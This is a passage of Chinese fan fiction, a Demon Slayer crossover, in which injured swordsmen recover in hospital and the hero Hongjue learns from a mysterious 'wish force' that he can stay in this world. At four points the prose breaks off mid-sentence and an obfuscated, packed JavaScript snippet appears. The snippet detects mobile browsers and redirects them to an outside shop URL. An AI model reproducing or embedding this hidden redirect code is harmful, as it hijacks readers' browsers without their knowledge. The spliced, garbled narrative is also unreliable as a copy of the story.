三人之中,还有口气说话的是炼狱,他原本想要笑着向悲鸣屿行冥解释刚刚发生的一切,但一笑便牵动受伤的腰部,嘴边的笑容一下僵硬,整个人瞬间不知道该继续还是停下来。 “阿弥陀佛。你们还是先不要说话了。” 看着受伤严重的同僚们,悲鸣屿行冥担忧地将他们扶起,好在他体型较大,将红诀和不死川两人一边一个搭上自己的肩膀后,他将腰部受伤的炼狱抱起。 炼狱被抱起的一刻还想推辞,却被悲鸣屿行冥一把按住。 敦厚的岩柱大人不顾同僚们面红耳赤的拒绝,牢牢将不老实的三人按在自己身上,嘴里不停念叨着阿弥陀佛。他体格壮硕,走动间也带着他给人那种独特的安稳感。 只是走了几步,他身上挂着的三人也歇了挣扎的动静。 挂在悲鸣屿行冥左肩的不死川闷声地说,“上弦壹和上弦叁死了。” 躺在悲鸣屿行冥的怀里的炼狱也轻声补充,“上弦肆也死了。” 两人声音虽小,但悲鸣屿行冥并没有错过同僚们的声音。他能听见不死川和炼狱二人话语中的喜悦。眼盲的他看不到同僚们的伤势具体如何,但萦绕在鼻尖的血腥味,自己与他们接触时,布料的湿润感,都在告诉着他这天晚上的不容易。 他能感受到挂在自己右肩的红诀已经陷入了昏迷,他乖乖地挂在自己的肩膀上,手脚随着自己的走动轻轻摇摆。而自己与红诀接触的右侧,血腥味也越发浓烈。 “你们很棒。” 往常会因一些小事流泪的悲鸣屿行冥此时一脸坚毅,他无神的眼睛温柔。不知是四人头顶的月光洒进其眼底,还是盈起的泪光融化了他内心抵触的坚冰。悲鸣屿行冥感受着自己身上的同僚们,再度想起了那段被他藏于深处的记忆。 此刻他的内心,就如当时那个寺庙中的自己一样。坐在围在自己身边,被自己所珍视的孩子中,满眼满心都是暖意和家的归属感。 “辛苦了,接下来,就交给我吧。” 悲鸣屿行冥的话语像是和煦的阳光,让始终强撑着一口气的炼狱和不死川,在有节奏的晃动中渐渐放松了紧绷的神经,和红诀一样,陷入了昏睡之中。 天光乍现,悲鸣屿行冥的眼睛注视着清晨的第一抹阳光,感受到眼睛的刺痛,他眨了眨眼,胸腔鸣动。 “天亮了。” **** 清晨的到来像是按了快进键。 悲鸣屿行冥在进入小镇后便和隐配合,将受伤的红诀三人送到就近的医院。 吉原花街受伤的四人也在义勇和锖兔的帮助下就近就医,锻刀村的时透和伊黑则是被村民扣下,查看伤势。 产屋敷宅邸点了一整夜的烛光终于熄灭,产屋敷耀哉看着手里的几封捷报,连连喊好。他心情激荡,满眼都是自豪和喜悦。在他的身侧,劳累一整夜的孩子和鎹鸦们已经睡成一团。 又过了几日,受伤严重的几人都转移到了蝶屋,产屋敷耀哉将他们几人都安排在相邻的两个病房。负责蝶屋的蝴蝶姐妹受伤,产屋敷天音也向外招揽人手来照料几人的伤势已经维持蝶屋的日常工作,甚至亲身宿在蝶屋,负责监督伤患们醒来的康复工作。 产屋敷耀哉和其余几名柱也没歇下,负责平息和收尾那夜之后引发的骚动,几人像个陀螺一样转个不停。 整整一个星期,陷入昏睡的那几个人才完全恢复意识。 男生病房内,红诀、不死川、炼狱的病床在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389732|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧,三人的顺序,红诀在中间,他的左侧是炼狱,右侧是不死川。宇髓、时透、伊黑则是在对面一侧,时透在中,其余两人在两侧。 女生病房中,蝴蝶忍在中间,姐姐香奈惠和甘露寺蜜璃在其两侧。 九人之中,受伤较轻的是时透和伊黑,他们两人在昏睡三天后便清醒过来,醒来的他们看着住满病房的几位同僚们,都发了愣。紧接着是宇髓和甘露寺蜜璃,宇髓天元是被自己可爱的三个老婆吵醒的,他清醒过来的时候,身上的毒素还没散去,只能看着自己三个老婆搞怪却无法阻止。 甘露寺蜜璃则是被蝶屋食堂的香味所勾醒的,醒来的她头发凌乱,肚子传出清晰的肠鸣声,尴尬让她整个人立马变得通红。 在他们两人之后是蝴蝶姐妹。香奈惠醒来得稍早一点,她清醒后的第一眼便看到隔壁病床上脸色惨白的妹妹蝴蝶忍。看到那一刻,她的眼泪就落了下来,满眼的心疼和愧疚。在甘露寺蜜璃和神崎葵的安慰下才逐步平复心情。 蝴蝶忍在蝴蝶香奈惠醒来的第二天便恢复了意识,清醒过来的她第一想法便是寻找自己的姐姐,她猛地坐起身的模样,将看护的神崎葵吓得手脚发颤。 而最后醒来的三人中,炼狱是第一个,随后是不死川。红诀则是等到第七天才睁开眼睛。 红诀醒来的第一眼,看到的就是熟悉的蝶屋屋顶。恢复意识的他看着眼前熟悉的屋顶,眼睛微微眨了眨,才反应过来自己现在的状况。他醒来的时间是清晨,安静的病房内,只有浅浅的呼吸声。 在理清自己已经不在郊外,回到蝶屋后,红诀撑着想要坐起来,却牵动自己受伤的肩部,不由得轻嘶一声。 “你醒了。” 睡在红诀斜对面的伊黑是最先发现红诀醒来的,在他出声之后,红诀才发现自己所在的病房内,还有其他几位同僚。 病房内的六人都规规矩矩地躺在自己的病床上,身上缠满了绷带,挂着点滴,只能躺在自己的病床上和同病相怜的同僚们聊天。 此刻,六人中清醒的有时透、伊黑还有终于清醒的红诀。其余几分都在睡觉,各个脸色苍白,气血不佳。 看着自己身边整整齐齐的同僚们,红诀尚不清醒的头脑一愣,呆呆地说出了清醒后的第一句话—— “这是病友主题的聚会?” 闻言,伊黑和时透眼前一黑,伊黑更是抬手捂住了自己的额头。他们两人看着懵懵懂懂的红诀,无奈地叹了口气。 伊黑:“聚会?亏你想得出来。” 时透:“不是聚会,只是一起受伤了。” 发觉红诀并不知道那夜发生的事情,时透和伊黑对视一眼,开口解释道。 “看来你是不知道那夜发生了什么事情了。” “除去你所在的北方,吉原花街和锻刀村也遭受到了上弦的袭击。” “北方的上弦壹、上弦叁、上弦肆,吉原花街的上弦贰、上弦陆,锻刀村的上弦伍,上弦之鬼全部出动,将一切搅得动荡不安。” 85.少年与静观其变 安静的病房内,时透和伊黑将那夜发生的一切都告诉了红诀。 听着同伴们娓娓道来的真相,红诀脸色凝重,他不知道除了自己和不死川、炼狱所在的北方,吉原花街和锻刀村也发生了上弦袭击的情况。 好在鬼杀队没有损伤严重,虽然存在伤亡,但由于及时的疏散和支援,保存了大部分主力力量。 就如产屋敷耀哉所说的一样,柱级战力没有牺牲的现状,已经是最好的情况了。 “这次有预谋的袭击,主公大人所猜测的目标是你。” 伊黑的颈部绑着绷带,看着脸色苍白的红诀一字一句地说。 “鬼舞辻无惨所布的这个局,为的就是抓到你。或许是因为上次你与鬼舞辻无惨的战斗中让他看到了一些他想要的东西,才会如此大费周章地布下这个局。” 我? 红诀不解,他身上有什么东西值得鬼舞辻无惨注意的。魔神之力的存在并不被这个世界规则所承认,对外他所展示的一切都被无形的规则扭曲。就算魔神之力特殊,但他在鬼舞辻无惨的眼中也应该只是具有特殊能力的人类而已。 [你别忘记鬼舞辻无惨袭击灶门家的目的。] 蓝色魔神在自家宿主内心沉声道。 闻言,红诀一愣,他想起来了。鬼舞辻无惨当初袭击灶门家的目的,只是为了随机抓取人类做实验罢了。或许是自己因魔神之力所表现出来的特殊个体吸引了鬼舞辻无惨的关注,才会如此大费周章地要抓到自己。 现在想来,当初鬼舞辻无惨强行抓着自己进入那诡异的无限城的目的,应该也是如此,要抓捕自己作为他的实验体。 [除了想要抓你作为实验体,那个叫鬼舞辻无惨的家伙也抱有一定的目的想要削弱鬼杀队的力量。]马尔巴士托腮道,[毕竟是长达数百年的对峙局势,有脑子的家伙都不会让另外一方的力量过于强势。] 马尔巴士的推测,所处局中之人都清楚。 “当然,鬼舞辻无惨所布的这个局,也存在想要一箭双雕的企图。” 伊黑放松地向后躺去,仍有自己陷入柔软的棉被中。 “如果不是你的提前预警,还有之前锻刀村所做的武器准备,花街那边的碰巧探查。那个夜晚,说不定就被鬼舞辻无惨得逞了。” 伊黑的话说得不错,时透也点了点头。 对那夜局中人来说,鬼杀队能在死局中破局而生,有很大的原因在于运气。 只能说老天在那夜拨动了命运的齿轮,将天平上的筹码拨向了他们这一边。 和上弦伍对战过的他们清楚知道上弦鬼的实力,只是排名第五的玉壶,就已经有超越普通柱级的力量,他们两个在玉壶的攻击下都受了不轻的伤势,更何况锻刀村的村民们。 对伊黑和时透来说,那夜的锻刀村如果没有铁洞井峰岩等人用百毒系列进行拖延,即使他们脚程再快,锻刀村或许已经在上弦伍玉壶的袭击下化作人间炼狱。 可以说,锻刀村的存活,除去两名柱的支援,绝大部分都是铁洞井峰岩等锻刀村村民用自身的能力,他们靠自己研发出来的武器,保护了自己。 吉原花街就不用说了,可能连鬼舞辻无惨都没想到,还没等上弦贰和上弦伍布局,鬼杀队的手就已经伸到上弦陆的地盘之上。 在这一层面上,鬼杀队扳回了一点赢面。 同时,红诀在那夜之前发现的瓷片线索,也提供了非常大的阻力。提前发现端倪的他给了产屋敷耀哉足够的心理准备,也给了他足够的时间重新筹备和安排人员,才不至于在鬼舞辻无惨突然的发难中毫无准备,自乱手脚。 伊黑的语气带着几分佩服:“不过,也难为你能在三名上弦的围攻下坚持那么长时间。” “我听不死川他们说了,他们赶到的时候,已经接近后半夜。炼狱还说,在他赶到时,你还能在围攻之中抓到机会解决掉上弦肆半天狗。” “难怪他们老是称呼你为怪物。” 时透也赞同地说,“红诀真的很厉害。”他的额头包裹着绷带,眼睛熠熠发光地看着红诀。 面对同僚的夸赞,红诀一下不好意思起来,他涨红了脸小声回答,“没有不死川和炼狱他们的支援,我也坚持不了多久。” 毕竟,黑死牟和猗窝座、半天狗之间的配合是真的很烂。 能顺利率先解决半天狗,还有感谢他的两名同僚们的助力。 三人的谈话并没有去控制音量,说到一半,病房内的其他人也清醒过来。宇髓天元醒来发现昏迷中的红诀居然醒来了,高兴地想要下床,却被手上的点滴限制了动作。 “还是安心待着吧,宇髓先生。不然等会天音大人要不高兴了。” 看见宇髓天元的动作,时透不由得出声制止。负责蝶屋的蝴蝶姐妹也在受伤修养,近些日子来,产屋敷天音是亲自坐镇,帮忙处理蝶屋的工作。 有了产屋敷天音在这里,柱中的几个不安分的在这几天都安安静静的。这让偶尔串门的蝴蝶忍看得牙痒痒,倚在香奈惠肩上咬牙切齿地说,“怎么没见你们平时怎么听话。” 蝴蝶忍的话一出,惹得男生病房的几人都心虚地低下头。 该说还是产屋敷耀哉了解他们呢,才会让产屋敷天音亲自来看着这些不好好养病的病患。 产屋敷天音的名头果真好用,闻言,宇髓天元哉床上乱动的动作顿时歇了,安安分分地躺回原本的位置。 急躁的不死川也乖乖缩回棉被中,加入了谈话。 几人先是询问了红诀的身体情况如何,然后就聊起那夜的经历。 宇髓天元到如今还对上弦贰童磨的血鬼术心有余悸,肺部的损伤直到现在还在隐隐作痛,这几天晚上睡觉的时候,他做的梦都是童磨那尊菩萨冰像。 炼狱和不死川倒是对猗窝座的拳法很感兴趣,猗窝座没有什么稀奇古怪的血鬼术,纯粹的体术对决让炼狱和不死川收获很大。 一向对恶鬼厌恶至极的不死川也没有表示出明显的厌恶,让红诀多看了友人几眼,心中了然,看来在猗窝座那里收获颇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450335|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丰,勉强达到了好感值负一。 一时间,病房内,六个病患老老实实地盖着棉被聊天,规规矩矩地差点让进来的悲鸣屿行冥以为进错了病房。 “红诀,你醒了!” 早早来探望的悲鸣屿行冥发现清醒的红诀,没等红诀回答,就高兴地去喊来医护人员过来检查。没过多久,几名医护人员过来检查了红诀的各项身体指标,在表示并无大碍后便先行离开。 隔壁的女生病房也察觉了这边的动静,因为比较乖巧听话而恢复更快的三人便结伴过来。 看到红诀清醒,甘露寺蜜璃和蝴蝶姐妹都很开心。聚集在一个病房的十个人一下聊了起来,病房内不复平日的寂静,变得十分热闹。 几人没聊多久,产屋敷天音携着产屋敷耀哉也过来了。 见产屋敷耀哉过来,几人没有拘谨,拉着产屋敷夫妇坐在正中央,说说笑笑地继续刚刚的话题。 聊天中,产屋敷耀哉说起前天的最终选拨,告诉红诀灶门炭治郎兄妹还有嘴平伊之助都顺利通过了选拨,已经成为了鬼杀队的正式队员。 听到灶门兄妹和伊之助的消息,红诀才反应过来,自上次去往狭雾山已经过去很长一段时间了。 “时间过得真快。” 红诀不由得感慨,上回炭治郎、祢豆子和伊之助三人结伴上山训练的背影仿佛就在眼前,转眼间他们都已经通过最终选拔,快要正式开始执行任务了。 不知道他们有没有交到其他朋友。想起最终选拨的那段经历,红诀嘴边浮现笑意,向产屋敷耀哉询问起锖兔和义勇的去向。 “锖兔和义勇啊,因为善后的工作比较多,现在应该还在执行任务。” 这次一下有九名柱受了伤,剩下的四人都自觉分担起同僚的责任,奔波在各地处理任务。悲鸣屿行冥是来蝶屋帮产屋敷天音送东西的,碰巧看到红诀醒来,也是个好消息。 听到自己的友人还在工作,卷王红诀心里一下多了几分愧疚。 而产屋敷耀哉看着红诀不自然的表情,也明白他在想什么,“放心,他们的工作并没有那么繁重。” “自那夜之后,鬼舞辻无惨那边已经没有什么动静了。”产屋敷耀哉温声道。 那夜之后,上弦鬼全灭的消息已经传遍了整个鬼杀队,连恶鬼内部也早已传遍。根据粂野匡近拷打恶鬼得出的情报,恶鬼内部如今正处于一片混乱的境地,原本隶属各位上弦手下的恶鬼各自出逃,瓜分着上弦的势力,不断内斗。 而鬼舞辻无惨却始终没有任何消息,像是销声匿迹一样,对混乱的恶鬼内部一点也没有出手的意思。 不过隶属鬼舞辻无惨手下的高级鬼也同时消失在鬼杀队所布置的视野之中,这让产屋敷耀哉暂时也摸不清鬼舞辻无惨如今的想法。 上弦鬼全灭,恶鬼内部又在内斗,现在最忌贸然出手,不如坐收渔翁之利,当个黄雀来进一步蚕食恶鬼的生存空间。 锖兔、义勇以及粂野匡近所做的工作便是监察那几个内斗势力的动静。 86.少年与愿力 产屋敷夫妇并没有在病房内停留太久,正午时分,他们便起身离开了,让红诀他们好好休息。 悲鸣屿行冥比产屋敷夫妇离开得要更早些,或许是有任务,没聊多久便匆匆告别离开。 临近正午,被允许下床走动的几人结伴去蝶屋的食堂吃饭,还不能下床的人只能等待神崎葵她们送来吃食。 男生病房这边,只有时透和伊黑能下床,两人伤势较轻,无需继续卧床。宇髓天元更是有三位美丽的老婆们来照顾,只有北方的三人组孤零零地吃着神崎葵送来的食物。 与不死川和炼狱的食物不同,今天才清醒的红诀的食物更为清谈,分量也被控制得死死的。 看着眼前的清汤寡水,红诀原本亮晶晶的眼神瞬间灰暗下去。 “好好养身体,过几天就能吃好的了!” 不死川看着红诀那不争气的样子,好声安慰道。两人的背景中还夹杂着十分珍惜食物的炼狱大声喊着好吃、好吃的声音,以及宇髓天元那边热火朝天的关切声。 “可是……” 红诀味同嚼蜡地吃着口中的东西,鼻尖微动。 可是,雏鹤夫人她们所做的便当好香啊……豚骨、玉子还有章鱼烧…… 他狠心闭上双眼,就着对面飘来的香味配饭,一口要停留好久,那神情带着几分痛苦和回忆。 红诀的模样让不死川都无语了,“你也没必要馋成这样吧。” “我没馋!这饭真好吃!” “那你倒是睁开眼前看看你的饭啊!餐盘都要被你的怪力整坏了,快住手!” 午饭后,已经无力吐槽自己同僚们的不死川整个人都丧失了颜色,和隔壁已经灵魂出走的红诀属于同一个图层。宇髓天元那边,雏鹤她们也没多做打扰,在看着宇髓吃完营养丰富的便当后便离开了。 临别前,她们三人看着可怜兮兮的红诀还承诺说,等他康复再给他送好吃的便当,让其好好修养。这让红诀感动得暂时回魂,眼泪汪汪。 从食堂归来的时透还偷偷给红诀顺来了一份玉子烧,不过被巡逻的神崎葵抓了个正着。已经和栗花落香奈乎一般高的神崎葵教训红诀和时透时有几分着蝴蝶忍的风采,在少女的训导下,他们两个规规矩矩地点头,保证下次决不这么做。 得了保证,神崎葵带着玉子烧拐进了隔壁蝴蝶忍的病房,而红诀和时透只能在宇髓和不死川的嘲笑声中看着热腾腾的玉子烧逐渐远离。 时透面无表情地表示:“下回我会提前盯梢的。” 红诀眼角湿润:“好兄弟。” 下回他定能三秒将其消灭,绝不会让神崎葵抓到一点破绽。 聊了一整个上午,刚刚醒来的红诀也多了一些困倦,饭后的他仰躺在垫高了的病床上,听着耳边友人们的声音昏昏欲睡,没过一会就陷入沉睡中。 隔壁的炼狱率先察觉红诀已经睡着,小声提醒着其他人降低音量。 “他就这样睡着了?” “垫这么高不难受嘛……” “随他去吧,他也累了。” “刚好我也有些困了。” 红诀耳边的声音从大到小,伴随着黑暗逐步消散在耳边。病房内,有节奏的呼吸声响起,热闹了一上午的房间也恢复了以往的静谧。 午后和煦的阳光透过窗帘映在干净的木地板上,洒落不规则的光晕,给有些阴凉的病房带来温暖的气息。 而病床上,早早睡着的红发少年面容恬静,只是薄薄的眼皮下,眼球在不断转动,像是陷入了什么梦境之中。 混沌的感知中,红诀陷入了一片金色光流之中,广袤的群星环绕在周围,一眼望去是无垠的宇宙。他像是其中飘渺的一粒沙尘,震撼自身的渺小。 下一瞬就被裹挟进金色光流之中,眼前刺眼的光芒闪过,再回神已置身于熟悉的黑暗之中。 恍惚之中,红诀听到了马尔巴士那熟悉的声音,他的声音忽高忽低,语气中带着不满和无奈,像是在与谁对话。待他眨了眨眼睛,才看清眼前的一切。 只见闪烁着流光的黑幕前,巨大的蓝色魔神席地而坐,双手抱胸正气愤地说些什么。而在它对面,一尾金色流光悬浮在半空中,周边有不间断的文字浮现在周围,两者之间,正通过文字在进行沟通。 “我说了,这种考验本就不合理,你冒失地将他卷入这个世界,却要给他这样莫须有的考验,这是什么道理,你又能给他什么好处?” “不用跟我说什么局限!你没看他都伤成什么样子了,你不心疼我还心疼呢!” “苦衷,苦衷个头。我跟你说,你没个表示,这事情没完!” 红诀看不清那尾金色流光在和马尔巴士说些什么,但见到眼前这等场景,他或多或少也明白了目前是怎样的状况。 那尾金色流光给他的感觉既陌生又熟悉,想来应该是将他带入这个世界的那股未知愿力。 只不过,那股未知愿力一直没有动静,即使马尔巴士一直说他体内有其存在的痕迹,他以前也没过多放在心上。愿力的突然出现,让他突然想起那后半夜的战斗中自身的变化,想来或许与这愿力有关。 红诀在旁边木木地站了一会,争吵中的魔神和愿力也察觉了他的到来。马尔巴士看见红诀出现在这里,有些疑惑地说你怎么到这里来了。而那股愿力则是写字表达,询问红诀的身体情况。 “马后炮!” 马尔巴士对愿力的不满摆在明面上,冲愿力狠狠翻了一个白眼。 愿力也自知理亏,看不清五官的身子上表达出了浓浓的愧疚之意。 红诀也不知道自己为什么会再次出现在这里,不过已经过来了,就没有让二者继续吵架的道理。况且,他也有一些事情想要询问愿力。 关于他为何会来到这个世界,以及他……会不会再次离开这里…… 红诀的安抚让马尔巴士的暴脾气收敛了一些,它也知道有些事情,也需要好好和红诀说清楚。一人一魔神一未知愿力围坐在一起,彼此间的氛围多了几分和谐。 在闪烁着流光的黑暗之中,愿力用金色的文字为红诀讲述了最初的一切。 寄居在红诀体内的这股愿力其实并不属于任何一个世界,它既不是红诀和马尔巴士原本世界的存在,也不属于鬼杀队所在的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495513|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这方世界。它是世界缝隙的一股力量流,由无数世界居民的愿望组成。 自诞生以来,愿力的成长皆由世界居民的愿望所促进。在不知时间的岁月里,金色的愿力悄然诞生了意识。它开始好奇自己最初是如何诞生的,也试着去窥探组成自己身体的每一个世界民的愿望。 在漫长的流浪岁月里,混杂在愿望中的强烈情感在时间的洗礼中并没有磨灭,反而越发炫彩夺目,动人心魄。无数愿望所沉淀下来的真情、遗憾、美好渐渐催发了愿力那颗懵懂之心。 它渐渐从识别其中所蕴含的情感,转变成另一种好奇心,它好奇着愿望主人所经历的一切,好奇他们为何会有这样的愿望。 它开始放任自己沉浸在一个又一个的愿望世界之中,一遍又一遍地去旁观愿望主人的人生。 然而,从局外人到局中人的转变,往往并没有什么奇特的征兆。 只是在一个平常的呼吸间,一直旁观愿望主人人生的愿力迈出第一步,它第一次使用了自己的力量,伸手挽救了一个平行世界的世界民,想要抹去愿望主人的遗憾,实现她的愿望。 然而,就在它出手的那一刻,无时无刻都存在的规则之力选择维持原本的秩序,愿力的举动被干涉了。 不属于任何世界的它就像个外来者,始终只能做一个旁观者,无论它做任何努力,最终都会被规则纠正到原来的轨道。 无数次尝试,无数次没有结果。 愿力的所有抗争似乎都在做无用功。 渐渐地,愿力开始变得麻木,试着重新做回旁观者,但诞生出情感的它已经回不去了。它在无数次的经历中懊悔、自暴自弃,最后又再次尝试做出努力。 误入红诀和马尔巴士世界的那次只是意外,愿力并不知道自己那次尝试会使红诀卷入世界乱流之中,或者是它从未想过。 就像是在无数的世界走向中,属于愿力的蝴蝶翅膀终于煽动了。 在发觉红诀被卷入世界乱流的那一刻,愿力是震惊又愧疚的。虽然它在第一时间选择保护红诀,却无法更改已经发生的事实。 与魔神之力一样,愿力的声誉在无数平行世界中已经变得声名狼藉。当它护着红诀进入这个世界的那一刻,它的所有力量和感知都被规则之力所束缚。 在别人家的地盘,规则之力对有前科的愿力盯得更死。它只能局限在红诀这一个体内,尽力维护红诀的安全。 所以并不是他不想给马尔巴士通行证,只是它也一样,被规则之力克制得死死的。 马尔巴士原本冷硬的脸色缓和些许:“所以其实并不存在什么考验一说?” 愿力苦涩:“我没有那个能力。” “你所认为的考验,或许是这个世界给予红诀的试炼。” “想必你也看出来了。现在的红诀,已经被这个世界完全承认了。” 他不再是外来者,寄居在他体内的它和马尔巴士所受到的限制也在逐步打破。 这是个奇迹,是它在无数次尝试中从未看到的走向。 一个特殊的世界,一个特殊的个体,一起促使了这场奇迹的诞生。 87.少年与康复 “承认?” 马尔巴士低头沉思道。 “那……他是否还能回去原本的世界。” 蓝色魔神看着金色流光问道,它庞大的躯体站在红诀的左前方,仿佛这个问题不值一提,却将红诀一开始便想询问的想法先一步问出。 见状,红诀也微微抿了抿自己的唇,他也在意这个问题。 虽然他不属于这个世界,但在这个世界这短短几年中,他感受到了奶奶在世时的温暖。他有了疼爱自己的长辈,值得信任依靠的友人,自己愿意为之付出一切的目标。 所有的一切,在他看来就像梦一般。 有时梦醒时分,他会眨巴着自己困倦的眼皮,恍惚之中似乎又回到当初躲于小巷中的那个小小的自己身上。 吃不饱也穿不暖,时时警惕各种恶意的存在。 虽然马尔巴士一直没有提及这个问题,但自己心底却始终悬着那一柄剑,那一把时时会把自己所拥有的一切化为泡沫的毁灭之剑。 如果问自己想要回去吗? 红诀的答案是否定的,那个世界没有奶奶,而在这个世界却有锖兔、义勇、沼田鸣他们,有自己所拥有和珍视的所有。 他不想回去。 马尔巴士也知道,它的眼角余光看着站在自己斜向的红发小人,与它相比,少年的身躯实在渺小。红发少年的眼神此刻正紧紧地盯着愿力,带着几分执拗,想要获得自己期盼的答案。 总归不能在回避下去了。 他暗自在心底叹了一口气。一直粉饰的平静和平衡在愿力的出现的这一刻来到了它的终局,一切都要问清楚。 被一人一魔神盯着的金色流光盈盈膨胀了几下,温声回道,“我很遗憾,那时突兀出现的时光乱流是不可控的存在。” “没有时空乱流,我也无法带你回到原本的世界。” 愿力的语气带着浓浓的愧疚,再度后悔自己曾经冲动的行为。 它话声未落便小心观察红诀和马尔巴士的脸色,却没有看到自己想象中的沮丧神色。蓝色魔神和红发少年闻言都松了一口气,那架势让愿力感到疑惑。 “难道……这是个好消息?” 金色流光懵懂地询问。 “算是个好消息。”马尔巴士轻咳几声,心底为自己的宿主开心,脸上却绷着脸,“虽然是你无意之举造成红诀穿梭到这个世界,但你也知道,自己的失误带来了什么样的后果。” 愿力正色:“我知道,我造成的错误,我会尽我所能及的一切进行弥补。” “以后,我不会再像之前一样冲动了。” 高空中家长们的谈话红诀并没有仔细去听,他还沉浸在自己不会被遣返到原来世界的喜悦之中。心中悬着的大石终于落下,让他整个人都神清气爽,过度消耗的身体都轻快几分。 太好了,我能继续在这个世界生活下去,继续和友人们一起经历更多的时光,拥有更多有趣温暖的回忆。 真是太好了。 红发少年开心地笑起来,胸口涌起的喜悦让他脸颊发红,头脑发涨。过度的喜悦和兴奋让他的精神体不稳,连高空中马尔巴士和愿力间的交易、挖苦都听不得太清。 只见红发少年的身影开始模糊,像微风下的烟雾,随风消散,下一刻红发少年的身影便消失在此处空间之中。待魔神和愿力谈完,才发现事件中心的主角已经悄无声息地消失在它们眼前。 马尔巴士:“那小子呢?” 愿力小小的球体左右晃了晃,表示自己也不知道红诀何时消失在这里。 “哼,怕是开心得昏过去。”傲娇的大家长双手抱胸,带着几分嫌弃地吐槽自己的宿主,却又分神去查看红诀自身的身体情况。 另一边,寂静的男生病房内,时透和炼狱还未躺下休息,便听见红诀床上传来几声笑声,声音虽小但在寂静的环境内非常清晰。 突然的笑声让时透和炼狱两人的动作一顿。睡在红诀侧边的炼狱支起身子朝红发少年那里看了一眼。 映入眼帘的便是少年熟睡的脸上那抹十分灿烂的笑容。 他不免失笑,小声对好奇的时透说,“梦到好事情了。” 时透神色一暖,能让本就开朗的红诀在睡梦中笑出声来,大概是个非常好的美梦。 炼狱看着脸颊微红的友人,突然想起如今城镇内流传的西洋留影机器,如果能拍一张就好了。 毕竟,难得的笑容以及九名柱齐齐入住蝶屋的场景,实在少见。 ***** 修养的时光转瞬即逝,转眼一个星期过去了,原本被勒令卧床的几人也被允许外出。几名伤员聚会的场合转移到做康复训练的道场上。 清晨,昨夜刚下一场小雨,空气中正弥漫着湿润的青草气息。 还没到吃早餐的时间,道场内就已经气氛火热。 不死川和炼狱持着木刀在空旷的道场中央对练,蝴蝶姐妹正在一旁喝着疗养身体的花茶,伊黑和甘露寺蜜璃凑在一起说话。而时透和宇髓窝在另一边,眼神盯着对练的两人看,时不时交谈几句。 而另外一边的角落,一个红发的身影背对众人,睡得醉生梦死,不省人事。 红诀早上就被不死川和宇髓从床上揪起来,说是要到道场上活动活动身体。睡眼惺忪的红诀就这么被提到道场来,还没和其他人打招呼,身体就自动寻找阴暗的角落躺下,旁若无人地进入梦乡。 这种场面,其他人已经见惯不惯了。 从清醒以来,红诀就一直有种睡眠不足的情况,每天的睡觉时间越发地长。起先众人都警铃大作,蝴蝶姐妹和产物敷天音守在昏睡的红诀身边做着各项检查,但都没查出什么毛病。 后续见他昏睡时间越来越少,逐渐恢复过来,其他人也不再过多关心。有了红诀自身保证的前提,众人现在都放任其随地大小躺,化作一滩红色的猫。 其他人偶尔经过还会揉乱红诀的头发,更甚者,宇髓天元还用毛笔在红诀脸上画小乌龟。 红诀所在的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546186|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,变成蝶屋其他人的观光点了。 像此时这样,宇髓天元他们也不顾及红诀的情况,肆意大声说话,偶尔还会拉着不清醒的红诀,让其强行加入对话。 而红诀这种昏睡的情况,被马尔巴士和愿力判定为身体的自适应和恢复。 毕竟在与三名上弦的战斗中,红诀可没少用魔神之力。虽然中途意外通过试炼,规则之力的侵蚀减弱,但也实打实地透支了身体机能。其所造成的损伤需要睡眠来恢复,寻常的医疗器械也查不出红诀的毛病。 对此,马尔巴士表示多睡睡就好了,没有必要担忧。 无需再继续研究如何转化契约的蓝色魔神最近可谓神清气爽,再也不用沉浸书库中费尽心神的它将所有摊子丢给了愿力,美名其曰将功赎罪。 大爷似地让愿力去研究如今世界接受红诀的程度,以及规则之力的侵蚀力度。 愧疚的愿力闻言气势十足,这几天没日没夜地研究红诀的身体,金色流光在红诀身体内来回观察,简直要将所有细节都看得一清二楚,让偶尔窜门的马尔巴士差点被闪瞎双眼。 